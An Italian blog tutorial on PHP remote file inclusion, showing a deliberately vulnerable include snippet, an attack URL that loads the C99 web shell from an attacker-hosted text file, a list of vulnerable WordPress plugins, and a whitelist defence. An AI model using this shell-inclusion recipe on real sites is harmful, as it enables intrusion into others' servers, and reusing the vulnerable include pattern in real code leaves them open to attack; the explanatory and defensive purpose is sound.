Un RFI (remote file inclusion) è una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili
GET e POST del php. la vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata. Questo è un semplice esempio di un codice
vulnerabile:
CODICE
$var = $_GET['var'];
include ($var);
?>
include ($var);
?>
con una conoscenza anche limitata del php è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'url)a piacere si puo vedere in azione il bug.
CODICE
http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it
in questo caso la variabile var assume il valore dell'url immessa e nella pagina sara inclusa la index di miositoincluso.it
COME FUNZIONA L'ATTACCO:
se c'è la possibilità di un inclusione arbitrale di codice php un Cracker puo incudere la shell C99. La C99 è una Shell scritta in PHP,
bisogna dapprima uploadare su un proprio sito web (ad esempio su altervista) una versione in php della shell e
hostare su un altro dominio web una versione in txt della shell.
Dopo di che scegliere il sito da colpire seguito dalla variabile buggata (in questo caso "var") e dall'indirizzo dove avete uplodato la vostra shell in txt.
ESEMPIO:
CODICE
http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/C99.txt
da notare che la pagina da includere non deve essere in php (perche se no viene incluso solo l'out-put generato della pagina e non il codice vero e proprio)
Ora, aggiornando la pagina (quella della shell in php), avremo i file che compongono il sito!
E' noto che la vulnerabilità è presente nei siti che hanno il plugin per WordPress My_eGallery precedenti alla versione 3.1.1 g, myflash fino alla
versione 1.00, wp-Table fino alla 1.43, wordTube fino alla 1.43.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
COME DIFENDERSI:
In genere quando si deve includere una pagina esterna in una applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine,
e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della mia variabile GET, e a seconda del valore includere la pagina
desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
CODICE
http://miosito.it/index.php?var=1
poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito esempio:
CODICE
$var = $_GET['var'];if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('hacking attemped');
?>
Nessun commento:
Posta un commento